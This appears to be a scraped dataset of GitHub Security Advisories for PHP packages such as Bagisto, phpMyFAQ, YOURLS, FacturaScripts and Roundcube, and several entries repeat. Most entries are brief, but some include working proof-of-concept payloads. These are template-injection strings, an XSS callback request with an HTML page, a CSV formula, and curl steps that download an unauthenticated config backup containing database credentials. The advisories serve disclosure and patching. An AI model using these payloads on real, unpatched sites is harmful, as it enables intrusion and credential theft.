deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-5j4h-4f72-qpm6
Package: bagisto/bagisto (COMPOSER)
Severity: HIGH (CVSS 9.8)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: < 2.3.10
Patched in: 2.3.10

Summary: Bagisto has Normal & Blind SSTI from low-privilege user when ordering product

Details:
### Summary
SSTI when normal customer orders any product in add address step can inject value run in admin view.
### Details
`As normal user`
1. Go to `http://127.0.0.1:8000/`
2. Add order to cart and continue to checkout 
3. In step of add address inject this value {{7*7}} in any input

`As admin`
1. Go to `http://127.0.0.1:8000/admin/sales/orders`
2. And notice the vlaue appear in admin view 49

`As normal user`
3. Go to add address normally `http://127.0.0.1:8000/customer/account/addresses/create` and inject {{7*7}} on it and will notice it appear 49
<img width="1868" height="868" alt="image" src="https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25" />


### PoC
 - Video attached with the report:  https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d


### Impact
- Can lead to RCE
GitHub Security Advisory: GHSA-9hvg-qw5q-wqwp
Package: bagisto/bagisto (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: < 2.3.10
Patched in: 2.3.10

Summary: Bagisto SSTI vulnerability in type parameter can lead to RCE

Details:
### Summary
SSTI is possible in Bagisto via type parameter can lead to RCE and other exploitations.

### Details
1. Go to `http://127.0.0.1:8000/admin/reporting/products/view?type={{7*7}}`

<img width="1251" height="282" alt="image" src="https://github.com/user-attachments/assets/652e96f4-631e-4322-8561-63f4d897a480" />


### Impact
Can lead to RCE, command injection.
GitHub Security Advisory: GHSA-x2v3-9p22-w3x6
Package: phpmyfaq/phpmyfaq (COMPOSER)
Severity: MODERATE (CVSS 8.8)
CWE: CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Vulnerable versions: <= 3.1.12
Patched in: unpatched

Summary: phpMyFAQ contains a CSV injection vulnerability

Details:
phpMyFAQ 3.1.12 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into their profile names. Attackers can modify their user profile name with a payload like 'calc|a!z|' to trigger code execution when an administrator exports user data as a CSV file.
GitHub Security Advisory: GHSA-x2v3-9p22-w3x6
Package: thorsten/phpmyfaq (COMPOSER)
Severity: MODERATE (CVSS 8.8)
CWE: CWE-1236: Improper Neutralization of Formula Elements in a CSV File
Vulnerable versions: <= 3.1.12
Patched in: unpatched

Summary: phpMyFAQ contains a CSV injection vulnerability

Details:
phpMyFAQ 3.1.12 contains a CSV injection vulnerability that allows authenticated users to inject malicious formulas into their profile names. Attackers can modify their user profile name with a payload like 'calc|a!z|' to trigger code execution when an administrator exports user data as a CSV file.
GitHub Security Advisory: GHSA-2267-xqcf-gw2m
Package: facturascripts/facturascripts (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2025.43
Patched in: unpatched

Summary: FacturaScripts is Vulnerable to Stored Cross-Site Scripting (XSS) via XML File Upload

Details:
A stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality.

Authenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed.

Because product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session.
GitHub Security Advisory: GHSA-2267-xqcf-gw2m
Package: facturascripts/facturascripts (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2025.41
Patched in: unpatched

Summary: FacturaScripts is Vulnerable to Stored Cross-Site Scripting (XSS) via XML File Upload

Details:
A stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality.

Authenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed.

Because product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session.
GitHub Security Advisory: GHSA-2267-xqcf-gw2m
Package: facturascripts/facturascripts (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2025.11
Patched in: unpatched

Summary: FacturaScripts is Vulnerable to Stored Cross-Site Scripting (XSS) via XML File Upload

Details:
A stored cross-site scripting (XSS) vulnerability exists in the product file upload functionality.

Authenticated users can upload crafted XML files containing executable JavaScript. These files are later rendered by the application without sufficient sanitization or content-type enforcement, allowing arbitrary JavaScript execution when the file is accessed.

Because product files uploaded by regular users are visible to administrative users, this vulnerability can be leveraged to execute malicious JavaScript in an administrator’s browser session.
GitHub Security Advisory: GHSA-6mp4-q625-mxjp
Package: yourls/yourls (COMPOSER)
Severity: HIGH (CVSS 7.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.10.2
Patched in: unpatched

Summary: YOURLS is vulnerable to XSS through JSONP and Callback request parameters

Details:
### Summary

The callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.

### Details

Vulnerability exists in the JSONP callback handling chain:

```
yourls-api.php:127-128

if( isset( $_REQUEST['callback'] ) )
    $return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
    $return['callback'] = $_REQUEST['jsonp']; 
```
---

```
includes/functions-api.php:127-128

$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result =  $callback . '(' . json_encode( $output ) . ')';
```

### PoC

I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.

II. `curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
`
**Expected response:** `alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})`

Browser PoC file:

```
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>
```

### Impact

Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**
Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.
GitHub Security Advisory: GHSA-59pp-r3rg-353g
Package: composer/composer (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: >= 2.3.0, < 2.9.3
Patched in: 2.9.3

Summary: Composer is vulnerable to ANSI sequence injection

Details:
### Impact
Attackers controlling remote sources that Composer downloads from might in some way inject ANSI control characters in the terminal output of various Composer commands, causing mangled output and potentially leading to confusion or DoS of the terminal application.

There is no proven exploit and this has thus a low severity but Composer still published a CVE as it has potential for abuse, and Composer wants to be on the safe side informing users that they should upgrade.

### Patches
2.2.26 for 2.2 LTS or 2.9.3 for mainline.
GitHub Security Advisory: GHSA-59pp-r3rg-353g
Package: composer/composer (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Vulnerable versions: >= 2.0.0, < 2.2.26
Patched in: 2.2.26

Summary: Composer is vulnerable to ANSI sequence injection

Details:
### Impact
Attackers controlling remote sources that Composer downloads from might in some way inject ANSI control characters in the terminal output of various Composer commands, causing mangled output and potentially leading to confusion or DoS of the terminal application.

There is no proven exploit and this has thus a low severity but Composer still published a CVE as it has potential for abuse, and Composer wants to be on the safe side informing users that they should upgrade.

### Patches
2.2.26 for 2.2 LTS or 2.9.3 for mainline.
GitHub Security Advisory: GHSA-9cg9-4h4f-j6fg
Package: thorsten/phpmyfaq (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-202: Exposure of Sensitive Information Through Data Queries
Vulnerable versions: >= 4.1.0-alpha, <= 4.1.0-beta.2
Patched in: unpatched

Summary: phpMyFAQ has unauthenticated config backup download via /api/setup/backup

Details:
### Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

### Details
The endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths:
- Rewrite rule exposing the endpoint:
  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`
- Controller implementation:
  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` → `backup()`
    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check
- Backup creation:
  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` → `createConfigBackup()`
    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`

### PoC
Replace `BASE_URL` with your instance URL.

1) Trigger config backup generation without authentication:

```bash
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"
```

Expected result: `200 OK` with JSON containing `backupFile`.

2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):

```bash
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
```

3) Verify sensitive content exists in the ZIP:

```bash
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
```

Observed: `database.php` is included and contains DB host/user/password.

### Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.
- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
GitHub Security Advisory: GHSA-9cg9-4h4f-j6fg
Package: thorsten/phpmyfaq (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-202: Exposure of Sensitive Information Through Data Queries
Vulnerable versions: < 4.0.16
Patched in: 4.0.16

Summary: phpMyFAQ has unauthenticated config backup download via /api/setup/backup

Details:
### Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

### Details
The endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths:
- Rewrite rule exposing the endpoint:
  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`
- Controller implementation:
  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` → `backup()`
    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check
- Backup creation:
  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` → `createConfigBackup()`
    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`

### PoC
Replace `BASE_URL` with your instance URL.

1) Trigger config backup generation without authentication:

```bash
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"
```

Expected result: `200 OK` with JSON containing `backupFile`.

2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):

```bash
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
```

3) Verify sensitive content exists in the ZIP:

```bash
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
```

Observed: `database.php` is included and contains DB host/user/password.

### Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.
- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
GitHub Security Advisory: GHSA-mgr9-6c2j-jxrq
Package: pterodactyl/panel (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.12.0
Patched in: 1.12.0

Summary: Pterodactyl has a Reflected XSS vulnerability in “Create New Database Host”

Details:
> [!NOTE]
> Message from the Pterodactyl team:
>
> The Pterodactyl team has evaluated this as a minor security issue but does not consider it something that should be assigned a CVE, nor does it require active patching by vulnerable systems.
>
> This issue is entirely self-inflicted and requires an administrative user paste an _obviously_ incorrect value into a database host field, submit it, and run into the XSS when the error message is rendered. However, we have determined that this fix is good security hygiene and may prevent issues in other areas not yet discovered.

### Summary
When an administrative user creates a new database host they are prompted to provide a `Host` value which is expected to be a domain or IP address. When an invalid value is encountered and passed back to `gethostaddr` and/or directly to the MySQL connection tooling, an error is returned. This error is then passed back along to the front-end, but was not properly sanitized when rendered.

Therefore it is possible for an admin to _knowingly_ paste a malicious payload such as `<script>prompt(document.domain)</script>` into the `Host` field and XSS themselves.
GitHub Security Advisory: GHSA-g5p6-3j82-xfm4
Package: croogo/croogo (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 4.0.7
Patched in: unpatched

Summary: Croogo CMS has a path traversal vulnerability

Details:
A path traversal vulnerability in Croogo CMS 4.0.7 allows remote attackers to read arbitrary files via a specially crafted path in the 'edit-file' parameter.
GitHub Security Advisory: GHSA-qx44-p258-3c2v
Package: cadmium-org/cadmium-cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 0.4.9
Patched in: unpatched

Summary: Cadmium CMS has a background arbitrary file upload vulnerability

Details:
Cadmium CMS v.0.4.9 has a background arbitrary file upload vulnerability in /admin/content/filemanager/uploads.
GitHub Security Advisory: GHSA-8j8w-wwqc-x596
Package: roundcube/roundcubemail (COMPOSER)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 1.6.0, < 1.6.11
Patched in: 1.6.11

Summary: Roundcube Webmail Vulnerable to Authenticated RCE via PHP Object Deserialization

Details:
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
GitHub Security Advisory: GHSA-8j8w-wwqc-x596
Package: roundcube/roundcubemail (COMPOSER)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 1.5.10
Patched in: 1.5.10

Summary: Roundcube Webmail Vulnerable to Authenticated RCE via PHP Object Deserialization

Details:
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
GitHub Security Advisory: GHSA-x8cp-jf6f-r4xh
Package: aws/aws-sdk-php (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-327: Use of a Broken or Risky Cryptographic Algorithm
Vulnerable versions: < 3.368.0
Patched in: 3.368.0

Summary: AWS SDK for PHP's S3 Encryption Client has a Key Commitment Issue

Details:
## Summary

S3 Encryption Client for PHP is an open-source client-side encryption library used to facilitate writing and reading encrypted records to S3.  

When the encrypted data key (EDK) is stored in an "Instruction File" instead of S3's metadata record, the EDK is exposed to an "Invisible Salamanders" attack  (https://eprint.iacr.org/2019/016), which could allow the EDK to be replaced with a new key. 



## Impact

### Background - Key Commitment

There is a cryptographic property whereby under certain conditions, a single ciphertext can be decrypted into 2 different plaintexts by using different encryption keys. To address this issue, strong encryption schemes use what is known as "key commitment", a process by which an encrypted message can only be decrypted by one key; the key used to originally encrypt the message. 

In older versions of S3EC, when customers are also using a feature called "Instruction File" to store EDKs, key commitment is not implemented because multiple EDKs could be associated to an underlying encrypted message object.  For such customers an attack that leverages the lack of key commitment is possible. A bad actor would need two things to leverage this issue: (i) the ability to create a separate, rogue, EDK that will also decrypt the underlying object to produce desired plaintext, and (ii) permission to upload a new instruction file to the S3 bucket to replace the existing instruction file placed there by the user using the S3C. Any future attempt to decrypt the underlying encrypted message with the S3EC will unwittingly use the rogue EDK to produce a valid plaintext message.

Impacted versions: <= 3.367.0



## Patches

We are introducing the concept of "key commitment" to S3EC where the EDK is cryptographically bound to the ciphertext in order to address this issue.  In order to maintain compatibility for in-flight messages we are releasing the fix in two versions.  A code-compatible minor version that can read messages with key-commitment but not write them, and a new major version that can both read and write messages with key-commitment.  For maximum safety customers are asked to upgrade to the latest major version: 3.368.0 or later.



## Workarounds

There are no workarounds, please upgrade to the suggested version of S3EC.

## References

If customeres have any questions or comments about this advisory, AWS SDK for PHP asks that they contact AWS Security via the issue reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.
GitHub Security Advisory: GHSA-w3j8-9p3j-3wjx
Package: pagekit/pagekit (COMPOSER)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: <= 1.0.18
Patched in: unpatched

Summary: Pagekit CMS has an Insecure Direct Object Reference (IDOR) in its User Role component

Details:
An Insecure Direct Object Reference (IDOR) in Pagekit CMS v1.0.18 allows attackers to escalate privileges.

The project was archived as of December 1, 2023.
GitHub Security Advisory: GHSA-m4f2-xpfq-h97v
Package: pagekit/pagekit (COMPOSER)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 1.0.18
Patched in: unpatched

Summary: Pagekit CMS is vulnerable to OS Command Injection via Storage component

Details:
An authenticated arbitrary file upload vulnerability in the /storage/poc.php component of Pagekit CMS v1.0.18 allows attackers to execute arbitrary code via uploading a crafted PHP file.

The project is archived as of December 1, 2023.